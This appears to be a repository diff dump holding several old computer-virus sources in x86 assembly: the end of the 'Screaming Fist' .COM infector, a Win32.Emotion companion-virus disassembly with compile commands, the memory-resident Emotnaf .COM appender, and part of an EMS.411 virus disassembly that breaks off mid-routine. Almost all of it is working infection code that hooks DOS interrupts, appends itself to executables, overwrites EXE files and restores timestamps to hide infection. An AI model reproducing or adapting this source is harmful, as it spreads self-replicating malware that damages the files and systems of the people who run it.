MOV AH,4EH ;Find first matching file
|
||||
INT 21H
|
||||
JC QUIT ;If no *.COM files found,quit
|
||||
JMP SET_ATTRIBS
|
||||
|
||||
FIND_AGAIN:
|
||||
|
||||
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.com
|
||||
MOV AH,4FH ;Find next matching file
|
||||
MOV CX,27H ;Archive,Hidden,Read-only,or System
|
||||
INT 21H
|
||||
JC QUIT ;No more files? Then exit
|
||||
|
||||
SET_ATTRIBS:
|
||||
MOV AX,[096H] ;Get time
|
||||
AND AL,1EH ;Are the seconds set to 60?
|
||||
CMP AL,1EH ;
|
||||
JZ FIND_AGAIN ;If so,assume this file is infected,find another
|
||||
;------------------------------------------------------------------------------;
|
||||
; Open file and infect it. ;
|
||||
; ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MOV DX,9EH ;offset into DTA of filename
|
||||
MOV AX,4301H ;Set file attribs
|
||||
XOR CX,CX ;To normal file
|
||||
INT 21H
|
||||
JC QUIT ;Some sort of error occured,exit now!
|
||||
MOV AX,3D02H ;Code for open file with read and write
|
||||
;access
|
||||
INT 21H ;DX points to ASCIIZ string of filename
|
||||
MOV CX,04 ;Read four bytes
|
||||
MOV BX,AX ;Save handle for future use
|
||||
MOV DX,0ACH ;Set buffer to end of DTA
|
||||
MOV AH,3FH ;Read from file
|
||||
INT 21H
|
||||
JMP MAKE_HEADER
|
||||
|
||||
QUIT:
|
||||
JMP DONE
|
||||
|
||||
;------------------------------------------------------------------------------;
|
||||
; Infect .COM header so it jumps to our viral code ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MAKE_HEADER:
|
||||
MOV [0F9H],[9AH] ;Offset off file size in DTA
|
||||
MOV [0F8H]B,0E9H ;Code for absolute JMP
|
||||
SUB WORD PTR [0F9H],2 ;Adjust it just a bit
|
||||
MOV AX,4200H ;Set file pointer to beginning
|
||||
;of file to be infected
|
||||
XOR CX,CX ;Zero out CX
|
||||
XOR DX,DX ;Zero out DX
|
||||
INT 21H
|
||||
MOV AH,2CH ;Get time
|
||||
INT 21H
|
||||
ADD DL,[104H] ;And add to what we had before
|
||||
MOV [0FBH],DL ;Save that value for our key
|
||||
MOV AH,40H ;Write to file
|
||||
MOV DX,0F8H ;Starting at F8 hex
|
||||
MOV CX,04H ;Write eight bytes
|
||||
INT 21H
|
||||
|
||||
ERROR:
|
||||
JC DONE ;Some sort of error?
|
||||
;If so,exit
|
||||
;------------------------------------------------------------------------------;
|
||||
; Attach our viral code to the end of the target .COM file ;
|
||||
; ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MOV SI,0ACH ;Starting at A9h
|
||||
MOV CX,04 ;Mov eight bytes
|
||||
LEA DI,[BP+ORIGINAL_EIGHT-NEXT_STEP];Where to save original eight bytes to
|
||||
REP MOVSB ;Save infected files original eight bytes
|
||||
MOV AX,4202H ;Set file pointer to end of file
|
||||
;plus 1
|
||||
XOR CX,CX ;Zero CX
|
||||
MOV DX,1 ;Make DX=1
|
||||
INT 21H
|
||||
CALL INFECT ;Encrypt code, write it to file,
|
||||
;Decrypt it,and return
|
||||
;------------------------------------------------------------------------------;
|
||||
; This restores the files original date and time ;
|
||||
;------------------------------------------------------------------------------;
|
||||
|
||||
MOV AX,5701H ;Restore original date and time
|
||||
MOV CX,[96H] ;From what was read in earlier
|
||||
MOV DX,[98H]
|
||||
AND CX,0FFE0H
|
||||
OR CX,01EH ;Change seconds to 60
|
||||
INT 21H
|
||||
MOV AH,3EH ;Close that file
|
||||
INT 21H
|
||||
CALL RESTORE_ATTRIBS ;Restore it's attributes
|
||||
|
||||
DONE:
|
||||
RESTORE_PSP:
|
||||
PUSH DS ;Save the DS register
|
||||
MOV DX,[BP+OLD_B-NEXT_STEP]W ;Move the old INT 24's address
|
||||
MOV DS,[BP+OLD_E-NEXT_STEP]W ;so we can restore it
|
||||
MOV AX,2524H ;Restore it
|
||||
INT 21H
|
||||
POP DS ;Restore the DS register
|
||||
POP SI ;SI is equal to address we stored
|
||||
;our PSP at
|
||||
MOV DI,80H ;Want to move saved PSP to 80h
|
||||
MOV CX,128 ;Want to move 128 bytes
|
||||
REP MOVSB
|
||||
MOV SI,100H ;Odd sort of jump
|
||||
POP AX
|
||||
PUSH SI ;Ends up restoring control to
|
||||
;100h
|
||||
OUT 21H,AL ;Unlock keyboard
|
||||
RET 0FFFFH ;Pop off all of stack
|
||||
|
||||
RESTORE_EIGHT:
|
||||
LEA SI,[BP+ORIGINAL_EIGHT-NEXT_STEP] ;Restore original eight bytes so we
|
||||
;can RET
|
||||
MOV DI,100H ;Destination of move
|
||||
MOV CX,04 ;Move eight bytes
|
||||
REP MOVSB
|
||||
RET
|
||||
|
||||
RESTORE_ATTRIBS:
|
||||
;------------------------------------------------------------------------------;
|
||||
; This routine restores the files original attributes. ;
|
||||
;------------------------------------------------------------------------------;
|
||||
MOV AX,4301H ;Restore original attribs
|
||||
XOR CX,CX ;Zero out CX
|
||||
MOV CL,[95H] ;To what was read in earlier
|
||||
MOV DX,09EH ;Offset of filename
|
||||
INT 21H
|
||||
RET
|
||||
|
||||
NEW_24:
|
||||
XOR AX,AX ;Any error will simply be ignored
|
||||
STC ;Most useful for write protects
|
||||
IRET
|
||||
|
||||
|
||||
|
||||
OLD_E EQU $
|
||||
OLD_ES DW 00 00
|
||||
OLD_B EQU $
|
||||
OLD_BX DW 00 00
|
||||
|
||||
ORIGINAL_EIGHT EQU $
|
||||
OLD_EIGHT_BYTES DB ,0CDH,20H,00,00 ;Bytes that are moved
|
||||
;and RET'd to
|
||||
WILD_CARD EQU $
|
||||
FILESPEC DB '*.COM',00
|
||||
|
||||
;------------------------------------------------------------------------------
|
||||
;This is just some generic text. Don't be a lamer and change the text and claim
|
||||
;it was your own creation.
|
||||
;------------------------------------------------------------------------------
|
||||
TEXT DB 'Screaming Fist (c)10/91'
|
||||
ENC_END EQU $
|
||||
|
||||
ENC_LENGTH = ENC_END - ENC_START ;Length of code to be encrypted
|
||||
@@ -0,0 +1,263 @@
|
||||
comment *
|
||||
Win32.Emotion ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
|
||||
Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
|
||||
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
|
||||
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
|
||||
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
|
||||
|
||||
Win32.Emotion is a 4608 bytes direct action companion EXE virus. Infects
|
||||
every file in current directory and Windows directory, when executed, by
|
||||
moving the original EXE file to a BIN file by the same name and overwriting
|
||||
the original EXE file with the virus.
|
||||
|
||||
Compile Win32.Emotion with Turbo Assembler v 5.0 by typing:
|
||||
TASM32 /M /ML EMOTION.ASM
|
||||
TLINK32 -Tpe -x -aa EMOTION.OBJ,,, IMPORT32
|
||||
VGALIGN EMOTION.EXE
|
||||
PEWRSEC EMOTION.EXE
|
||||
*
|
||||
|
||||
jumps
|
||||
locals
|
||||
.386
|
||||
.model flat
|
||||
; KERNEL32.dll
|
||||
extrn ExitProcess:proc
|
||||
extrn GetModuleHandleA:proc
|
||||
extrn FindNextFileA:proc
|
||||
extrn GetCommandLineA:proc
|
||||
extrn FindFirstFileA:proc
|
||||
extrn CopyFileA:proc
|
||||
extrn GetSystemTime:proc
|
||||
extrn GetWindowsDirectoryA:proc
|
||||
extrn MoveFileA:proc
|
||||
extrn SetCurrentDirectoryA:proc
|
||||
extrn WinExec:proc
|
||||
extrn GetModuleFileNameA:proc
|
||||
; USER32.dll
|
||||
extrn SwapMouseButton:proc
|
||||
extrn MessageBoxA:proc
|
||||
|
||||
.data
|
||||
MAX_PATH equ 104h
|
||||
NULL equ 00h
|
||||
TRUE equ 01h
|
||||
MB_ICONHAND equ 10h ; A stop-sign icon appears in the
|
||||
; message box
|
||||
SW_SHOWNORMAL equ 01h ; Activates and displays a window
|
||||
INVALID_HANDLE_VALUE equ -01h
|
||||
FALSE equ 00h
|
||||
|
||||
SYSTEMTIME struct
|
||||
wYear WORD ? ; Specifies the current year
|
||||
wMonth WORD ? ; Specifies the current month;
|
||||
; January = 1, February = 2, and so on
|
||||
wDayOfWeek WORD ? ; Specifies the current day of the
|
||||
; week
|
||||
wDay WORD ? ; Specifies the current day of the
|
||||
; month
|
||||
wHour WORD ? ; Specifies the current hour
|
||||
wMinute WORD ? ; Specifies the current minute
|
||||
wSecond WORD ? ; Specifies the current second
|
||||
wMilliseconds WORD ? ; Specifies the current millisecond
|
||||
ends
|
||||
|
||||
FILETIME struct
|
||||
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
|
||||
; the file time
|
||||
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
|
||||
; the file time
|
||||
FILETIME ends
|
||||
|
||||
WIN32_FIND_DATA struct
|
||||
dwFileAttributes DWORD ? ; Specifies the file attributes of the
|
||||
; file found
|
||||
ftCreationTime FILETIME <> ; Specifies the time the file was
|
||||
; created
|
||||
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
|
||||
; last accessed
|
||||
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
|
||||
; last written to
|
||||
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
|
||||
; of the file size, in bytes
|
||||
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
|
||||
; of the file size, in bytes
|
||||
dwReserved0 DWORD ? ; Reserved for future use
|
||||
dwReserved1 DWORD ? ; Reserved for future use
|
||||
cFileName BYTE MAX_PATH dup(?)
|
||||
; A null-terminated string that is the
|
||||
; name of the file
|
||||
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
|
||||
; alternative name for the file
|
||||
ends
|
||||
db ?
|
||||
|
||||
.code
|
||||
code_begin:
|
||||
push NULL ; Get module handle of KERNEL32.dll
|
||||
call GetModuleHandleA
|
||||
|
||||
push MAX_PATH ; Size of buffer, in characters
|
||||
push offset cFilename ; Pointer to buffer for module path
|
||||
push eax ; Handle to module to find filename
|
||||
; for
|
||||
call GetModuleFileNameA
|
||||
|
||||
jmp _FindFirstFileA
|
||||
_GetWindowsDirectoryA:
|
||||
push MAX_PATH ; Size of directory buffer
|
||||
push offset cBuffer ; Address of buffer for Windows
|
||||
; directory
|
||||
call GetWindowsDirectoryA
|
||||
|
||||
push offset szCurDir ; Address of name of new current
|
||||
; directory
|
||||
call SetCurrentDirectoryA
|
||||
|
||||
mov [set_current_directory],TRUE
|
||||
|
||||
jmp _FindFirstFileA
|
||||
_GetCommandLineA:
|
||||
call GetCommandLineA
|
||||
mov esi,eax ; ESI = pointer to the command-line
|
||||
; string for the current process
|
||||
lea edi,szCmdLine ; EDI = pointer to szCmdLine
|
||||
move_commandline_loop:
|
||||
stosb ; Store a byte of command-line
|
||||
lodsb ; AL = a byte of command-line
|
||||
|
||||
or al,al ; End of command-line?
|
||||
jnz move_commandline_loop ; Not zero? Jump to
|
||||
; move_commandline_loop
|
||||
mov eax,'.' ; Dot
|
||||
lea edi,szCmdLine ; EDI = pointer to szCmdLine
|
||||
mov ecx,MAX_PATH ; ECX = size of directory buffer
|
||||
repne scasb ; Find the dot in the filename
|
||||
|
||||
mov dword ptr [edi],' nib' ; Change the extention of the filename
|
||||
; to .BIN
|
||||
mov word ptr [szCmdLine],' '
|
||||
|
||||
push offset SystemTime ; Address of system time structure
|
||||
call GetSystemTime
|
||||
|
||||
cmp byte ptr [SystemTime.wMonth],05h
|
||||
jne _WinExec ; May? Jump to _WinExec
|
||||
cmp byte ptr [SystemTime.wDay],0dh
|
||||
jne _WinExec ; 13th of May? Jump to _WinExec
|
||||
|
||||
push MB_ICONHAND ; A stop-sign icon appears in the
|
||||
; message box
|
||||
push offset szCaption ; Address of title of message box
|
||||
push offset szText ; Address of text in message box
|
||||
push NULL ; Message box has no owner window
|
||||
call MessageBoxA
|
||||
|
||||
push TRUE ; Reverse buttons
|
||||
call SwapMouseButton
|
||||
_WinExec:
|
||||
push SW_SHOWNORMAL ; Activates and displays a window
|
||||
push offset szCmdLine ; Address of command-line
|
||||
call WinExec
|
||||
|
||||
push 00h ; Exit code for all threads
|
||||
call ExitProcess
|
||||
_FindFirstFileA:
|
||||
push offset FindFileData ; Address of returned information
|
||||
push offset szFileName ; Address of name of file to search
|
||||
; for
|
||||
call FindFirstFileA
|
||||
cmp eax,INVALID_HANDLE_VALUE
|
||||
je function_failed ; Function failed? Jump to
|
||||
; function_failed
|
||||
|
||||
lea edi,FindFileData ; EDI = pointer to FindFileData
|
||||
lea esi,[edi+cFileName-WIN32_FIND_DATA]
|
||||
push eax ; EAX = search handle
|
||||
|
||||
jmp move_filename
|
||||
_FindNextFileA:
|
||||
push edi ; EDI = pointer to FindFileData
|
||||
lea edi,[edi+cFileName-WIN32_FIND_DATA]
|
||||
mov ecx,0dh ; Store thirteen zeros
|
||||
xor al,al ; Zero AL
|
||||
rep stosb ; Store zero
|
||||
|
||||
lea edi,szNewFileName ; EDI = pointer to szNewFileName
|
||||
mov ecx,0dh ; Store thirteen zeros
|
||||
xor al,al ; Zero AL
|
||||
rep stosb ; Store zero
|
||||
pop edi ; EDI = pointer to FindFileData
|
||||
|
||||
pop eax ; EAX = search handle
|
||||
push eax ; EAX = search handle
|
||||
|
||||
push edi ; Address of structure for data on
|
||||
; found file
|
||||
push eax ; Handle of search
|
||||
call FindNextFileA
|
||||
or eax,eax ; Function failed?
|
||||
jz function_failed ; Zero? Jump to function_failed
|
||||
|
||||
lea edi,FindFileData ; EDI = pointer to FindFileData
|
||||
lea esi,[edi+cFileName-WIN32_FIND_DATA]
|
||||
|
||||
jmp move_filename
|
||||
function_failed:
|
||||
cmp [set_current_directory],TRUE
|
||||
je _GetCommandLineA ; Equal? Jump to _GetCommandLineA
|
||||
|
||||
jmp _GetWindowsDirectoryA
|
||||
move_filename:
|
||||
push edi ; EDI = pointer to FindFileData
|
||||
lea si,[edi+cFileName-WIN32_FIND_DATA]
|
||||
lea edi,szNewFileName ; EDI = pointer to szNewFileName
|
||||
move_filename_loop:
|
||||
lodsb ; AL = a byte of command-line
|
||||
stosb ; Store a byte of command-line
|
||||
|
||||
or al,al ; End of command-line?
|
||||
jnz move_filename_loop ; Not zero? Jump to move_filename_loop
|
||||
|
||||
xor eax,eax ; Zero EAX
|
||||
lea edi,szNewFileName ; EDI = pointer to szNewFileName
|
||||
mov ecx,41h ; Search through sixty-five characters
|
||||
repne scasb ; Find end of filename
|
||||
|
||||
mov dword ptr [edi-04h],'nib'
|
||||
pop edi ; EDI = pointer to FindFileData
|
||||
|
||||
push offset szNewFileName ; Address of new name for the file
|
||||
lea eax,[edi+cFileName-WIN32_FIND_DATA]
|
||||
push eax ; Address of name of the existing file
|
||||
call MoveFileA
|
||||
|
||||
push FALSE ; If file already exists, overwrite it
|
||||
lea eax,[edi+cFileName-WIN32_FIND_DATA]
|
||||
push eax ; Address of filename to copy to
|
||||
lea eax,szExistingFileName ; EAX = pointer to szExistingFileName
|
||||
push eax ; Address of name of an existing file
|
||||
call CopyFileA
|
||||
|
||||
jmp _FindNextFileA
|
||||
code_end:
|
||||
szFileName db '*.EXE',00h ; Name of file to search for
|
||||
szCaption db 'w32.Emotion - By: Techno Phunk [TI]',00h
|
||||
szText db 'A pool of emotions, beaten and abused.',0dh,0ah
|
||||
db 'Who will swim in the stale waters? Not a one',0dh,0ah
|
||||
db 'But many will scoff and destroy this pool with apathy',00h
|
||||
szCurDir:
|
||||
cBuffer db MAX_PATH dup(00h)
|
||||
; Buffer for Windows directory
|
||||
szNewFileName db MAX_PATH dup(00h)
|
||||
; New name for the file
|
||||
szExistingFileName:
|
||||
szCmdLine:
|
||||
cFilename db MAX_PATH dup(00h)
|
||||
; Buffer for module path
|
||||
SystemTime SYSTEMTIME <>
|
||||
set_current_directory db FALSE
|
||||
FindFileData WIN32_FIND_DATA <>
|
||||
data_end:
|
||||
|
||||
end code_begin
|
||||
@@ -0,0 +1,215 @@
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Emotnaf v1.1 coded by KilJaeden of the Codebreakers 1998 ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; Description: `-------------------| Started: 23/06/98 | Finished: 00/00/00 ;
|
||||
; `-------------------^------------------- ;
|
||||
; v1.0 - Memory resident .com appender, infects upon execution | Size: 000 ;
|
||||
; v1.1 - Experiment with new ways to write this code... `---------- ;
|
||||
; v1.2 - restore time/date stamps and file attributes now ;
|
||||
; v1.3 - makes sure it isnt a .exe renamed as a .com ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; -> Dedicated to wicked music everywhere, like Rage Against The Machine <- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; to compile ::] tasm emotnaf.asm ;
|
||||
; to link :::::] tlink /t emotnaf.obj ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
|
||||
code segment ; name our segment 'code'
|
||||
assume cs:code,ds:code ; assign CS and DS to code
|
||||
org 100h ; this be a .com file
|
||||
.286 ; needed for pusha/popa
|
||||
jumps ; save space wasted jumping
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
blank: db 0e9h,0,0 ; jump to start of code
|
||||
start: call delta ; push IP on to stack
|
||||
delta: pop bp ; pop it into bp
|
||||
sub bp,offset delta ; get the delta offset
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
mov ax,0deadh ; check if already resident
|
||||
int 21h ; if we are, bx = 0deadh now
|
||||
cmp bx,0deadh ; does bx hold 0deadh ?
|
||||
je first3 ; we are already resident!
|
||||
|
||||
sub word ptr cs:[2],80h ; lower top of PSP mem data
|
||||
mov ax,cs ; move CS into AX
|
||||
dec ax ; decrement AX
|
||||
mov ds,ax ; move AX into DS
|
||||
sub word ptr ds:[3],80h ; sub 2kb from accessed MCB
|
||||
xor ax,ax ; xor the value in ax to 0
|
||||
mov ds,ax ; move that value into DS
|
||||
sub word ptr ds:[413h],2 ; adjust BIOS data by 2kb
|
||||
mov ax,word ptr ds:[413h] ; move adjusted BIOS data
|
||||
mov cl,6 ; load cl with value of 6
|
||||
shl ax,cl ; multiply BIOS mem by 64
|
||||
mov es,ax ; move value into ES
|
||||
push cs ; push value of code segment
|
||||
pop ds ; into data segment register
|
||||
xor di,di ; xor value in DI to 0
|
||||
lea si,[bp+start] ; load the source index
|
||||
mov cx,finished-start ; # of bytes to load up
|
||||
rep movsb ; load virus into memory
|
||||
|
||||
xor ax,ax ; value in ax to 0
|
||||
mov ds,ax ; move value into DS
|
||||
lea ax,new21 ; point IVT to new ISR
|
||||
sub ax,offset start ; subtract start offset
|
||||
mov bx,es ; move es into bx
|
||||
|
||||
cli ; interrupts off
|
||||
xchg ax,word ptr ds:[84h] ; switch old/new int 21h
|
||||
xchg bx,word ptr ds:[86h] ; switch old/new int 21h
|
||||
mov word ptr es:[oi21-offset start],ax ; save the old int 21h
|
||||
mov word ptr es:[oi21+2-offset start],bx ; save the old int 21h
|
||||
sti ; interrupts on
|
||||
|
||||
push cs cs ; push code segment twice
|
||||
pop ds es ; into DS and ES registers
|
||||
|
||||
first3: lea si,[bp+saved] ; load up the source index
|
||||
mov di,100h ; load the destination index
|
||||
push di ; push 100h on to the stack
|
||||
movsw ; move two bytes now
|
||||
movsb ; move one byte now
|
||||
retn ; return control to host
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
new21: pushf ; push all flags
|
||||
pusha ; push all registers
|
||||
push ds ; push data segment register
|
||||
push es ; push extra segment register
|
||||
push bp ; save the delta offset
|
||||
|
||||
cmp ax,0deadh ; are we testing if resident?
|
||||
je rezchk ; yes, show them we are rez
|
||||
|
||||
cmp ah,4bh ; something being executed?
|
||||
je infect ; yes, infect the file
|
||||
|
||||
exit: pop bp ; restore the delta offset
|
||||
pop es ; pop ES from the stack
|
||||
pop ds ; pop DS from the stack
|
||||
popa ; pop all registers
|
||||
popf ; pop all flags
|
||||
db 0eah ; jump to original ISR
|
||||
oi21 dd ? ; old int 21 goes here
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
rezchk: mov bx,0deadh ; move check value into bx
|
||||
jmp exit ; and go to original int 21h
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
infect: call tsrdel ; push IP on to stack again
|
||||
tsrdel: pop bp ; pop it into bp
|
||||
sub bp,offset tsrdel ; get the 2nd delta offset
|
||||
|
||||
push ds ; push DS on to stack
|
||||
pop es ; pop it into es
|
||||
mov di,dx ; move file handle into di
|
||||
mov cx,64 ; 64 byte filename possible
|
||||
mov al,'.' ; load al with the .
|
||||
cld ; clear direction flag
|
||||
repnz scasb ; scan until . is hit
|
||||
cmp word ptr ds:[di],'OC' ; is the file .CO- ?
|
||||
jne abort ; not it isn't, abort
|
||||
cmp byte ptr ds:[di+2],'M' ; is the file .--M ?
|
||||
jne abort ; no it isn't, abort
|
||||
|
||||
mov ax,4300h ; get file attributes
|
||||
int 21h ; attributes in cx now
|
||||
push cx ; save the attributes
|
||||
push dx ; save the file handle
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
xor cx,cx ; to none at all
|
||||
int 21h ; ready to open up now
|
||||
|
||||
mov ax,3d02h ; open the file read/write
|
||||
int 21h ; open the file now
|
||||
xchg bx,ax ; move the file handle
|
||||
|
||||
push cs cs ; push CS on to stack twice
|
||||
pop ds es ; pop it into DS and ES
|
||||
|
||||
mov ax,5700h ; get time / date stamps
|
||||
int 21h ; time in cx, date in dx
|
||||
push cx ; save the time
|
||||
push dx ; save the date
|
||||
|
||||
mov ah,3fh ; the read function
|
||||
lea dx,[bp+saved] ; read the bytes to here
|
||||
mov cx,3 ; read first three bytes
|
||||
int 21h ; first three recorded
|
||||
|
||||
cmp word ptr [bp+saved],'ZM' ; check if renamed .exe
|
||||
je close ; shit, this be a .exe!
|
||||
cmp word ptr [bp+saved],'MZ' ; check if renamed .exe
|
||||
je close ; shit, this be a .exe!
|
||||
|
||||
mov ax,4202h ; scan to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; DX:AX = file size now!
|
||||
|
||||
cmp dx,0 ; is the file < 65,535 bytes?
|
||||
jne close ; way to big, close it up
|
||||
mov cx,word ptr [bp+saved+1] ; move saved+1 into cx
|
||||
add cx,finished-start+3 ; virus size + jump
|
||||
cmp ax,cx ; compare the two
|
||||
jz close ; if equal, close it up
|
||||
|
||||
sub ax,3 ; get jump to virus body size
|
||||
mov word ptr [bp+newjump+1],ax ; write as our new jump
|
||||
|
||||
mov ax,4200h ; point to start of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to SOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+newjump] ; write the jump
|
||||
mov cx,3 ; write three bytes
|
||||
int 21h ; jump is written
|
||||
|
||||
mov ax,4202h ; point to end of file
|
||||
xor cx,cx ; xor value of cx to 0
|
||||
cwd ; likewize for dx
|
||||
int 21h ; pointing to EOF
|
||||
|
||||
mov ah,40h ; write to file
|
||||
lea dx,[bp+start] ; from the start of virus
|
||||
mov cx,finished-start ; # of bytes to write
|
||||
int 21h ; write them now
|
||||
|
||||
close: mov ax,5701h ; set time / date stamps
|
||||
pop dx ; restore the date
|
||||
pop cx ; restore the time
|
||||
int 21h ; time / date restored
|
||||
|
||||
mov ah,3eh ; close up the file
|
||||
int 21h ; file is closed
|
||||
|
||||
mov ax,4301h ; set file attributes
|
||||
pop dx ; restore the file handle
|
||||
pop cx ; restore the attributes
|
||||
int 21h ; attributes restored
|
||||
|
||||
abort: jmp exit ; point to original ISR
|
||||
|
||||
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
|
||||
|
||||
saved db 0cdh,20h,0 ; our saved bytes
|
||||
newjump db 0e9h,0,0 ; the soon to be jump
|
||||
finished: ; end of the virus
|
||||
code ends ; end code segment
|
||||
end blank ; end / where to start
|
||||
|
||||
; ------------------------------------------------------------------------- ;
|
||||
; --> Angels Are Just Assassins Of God, One Wing Always Dipped In Blood <-- ;
|
||||
; ------------------------------------------------------------------------- ;
|
||||
@@ -0,0 +1,214 @@
|
||||
; EMS.411 Virus
|
||||
; Dissassembly by Vecna/29A
|
||||
.model tiny
|
||||
.code
|
||||
.386p
|
||||
org 0
|
||||
VirusStart:
|
||||
jmp RealStart ; jump to real start of virus
|
||||
HostCode:
|
||||
int 20h ; code of the start of the host is
|
||||
nop ; stored here
|
||||
EMM db 'EMMXXXX0'
|
||||
InfectJump:
|
||||
db 0e9h ; this jump is written to begin
|
||||
WhereIAm dw 0 ; of file
|
||||
LowMemCode:
|
||||
pushf
|
||||
cmp byte ptr cs:[InUse-LowMemCode], 0
|
||||
jnz Int21InUse ; if we're using int21, the bit is set
|
||||
pusha
|
||||
mov ax, 4400h
|
||||
xor bx, bx
|
||||
mov dx, cs:[Page_-LowMemCode]
|
||||
int 67h ; map our page
|
||||
popa
|
||||
popf
|
||||
db 09ah ; call our int21 handler in the EMS
|
||||
dw offset Int21Handler
|
||||
PageFrame dw 0000h
|
||||
pusha
|
||||
pushf
|
||||
mov ax, 4400h
|
||||
mov bx, 0FFFFh
|
||||
mov dx, cs:[Page_-LowMemCode]
|
||||
int 67h ; unmap out page
|
||||
mov bp, sp
|
||||
mov ax, [bp+0] ; get flag status after exec
|
||||
mov [bp+16h], ax ; and put in the caller stack
|
||||
popf
|
||||
popa
|
||||
iret
|
||||
Page_ dw 0 ; number of our page
|
||||
InUse db 0 ; this byte is set if we are using
|
||||
; the int21
|
||||
Int21InUse:
|
||||
popf
|
||||
db 0EAh ; jump to real int21
|
||||
Old21:
|
||||
dd 0
|
||||
Int21Handler:
|
||||
pushf
|
||||
xchg ax, dx ; anti-heuristic
|
||||
cmp dx, 4B00h
|
||||
jz Infect ; infect on execute only
|
||||
xchg ax, dx
|
||||
call dword ptr cs:[Old21] ; do real call
|
||||
retf
|
||||
Infect:
|
||||
popf
|
||||
call ToggleFlag ; set flag warning we using int 21
|
||||
xchg ax, dx
|
||||
push ds
|
||||
push dx
|
||||
pushf
|
||||
call dword ptr cs:[Old21] ; execute original function first
|
||||
pushf
|
||||
pusha
|
||||
push ds
|
||||
mov bp, sp
|
||||
lds dx, [bp+14h] ; load DS:DX from the saved copy in
|
||||
mov ax, 3D02h ; the stack, and open the file R/W
|
||||
int 21h
|
||||
xchg ax, bx
|
||||
mov ah, 3Fh
|
||||
mov cx, 3
|
||||
push cs
|
||||
pop ds
|
||||
mov dx, offset HostCode ; read 3 bytes from file to our buffer
|
||||
int 21h
|
||||
mov ax, 4202h
|
||||
cwd
|
||||
xor cx, cx
|
||||
int 21h ; seek to the end of the file
|
||||
sub ax, 3 ; sub 3 for the jump
|
||||
push ax
|
||||
sub ax, (offset VEnd-offset VirusStart)
|
||||
cmp ax, word ptr ds:[HostCode+1]; a possible jump in start of file
|
||||
jz AlreadyInfected ; point to same place than we used to
|
||||
mov ax, 'ZM' ; be? If yes, is already infected
|
||||
cmp ax, word ptr ds:[HostCode]
|
||||
jz AlreadyInfected ; file start with MZ (EXE file) ??
|
||||
pop ax
|
||||
mov word ptr ds:[WhereIAm], ax ; save position for jump
|
||||
mov ah, 40h
|
||||
mov cx, (offset VEnd-offset VirusStart)
|
||||
cwd
|
||||
int 21h ; write virus code to end of file
|
||||
mov ax, 4200h
|
||||
xor cx, cx
|
||||
cwd
|
||||
int 21h ; seek to start of file
|
||||
mov ah, 40h
|
||||
mov cx, 3
|
||||
mov dx, offset InfectJump
|
||||
int 21h ; write a jump to virus code
|
||||
jmp short InfectionOk
|
||||
AlreadyInfected:
|
||||
add sp, 2 ; fix the stack
|
||||
InfectionOk:
|
||||
mov ah, 3Eh ; close file
|
||||
int 21h
|
||||
call ToggleFlag ; we're not using int21 anymore
|
||||
pop ds
|
||||
popa
|
||||
push bp
|
||||
mov bp, sp
|
||||
lea sp, [bp+8] ; get returned AX and FLAGS
|
||||
push ax
|
||||
mov ax, [bp+2]
|
||||
push ax
|
||||
popf ; put they in right place
|
||||
pop ax
|
||||
mov bp, [bp+0]
|
||||
retf
|
||||
ToggleFlag:
|
||||
push ax
|
||||
push ds
|
||||
mov ax, 24h ; set flag of int21 in use
|
||||
mov ds, ax
|
||||
xor byte ptr ds:[InUse-offset LowMemCode], 1
|
||||
pop ds
|
||||
pop ax
|
||||
retn
|
||||
RealStart:
|
||||
pusha
|
||||
mov bx, word ptr cs:[101h] ; 101 hold the offset part of the jump
|
||||
add bx, 103h ; that we put in the start of host
|
||||
call Install
|
||||
mov di, si
|
||||
lea si, [bx+3]
|
||||
movsb ; restore old code
|
||||
movsw
|
||||
popa
|
||||
jmp si ; jump to start of file
|
||||
Install:
|
||||
push bx
|
||||
push si
|
||||
push es
|
||||
push ds
|
||||
push bx
|
||||
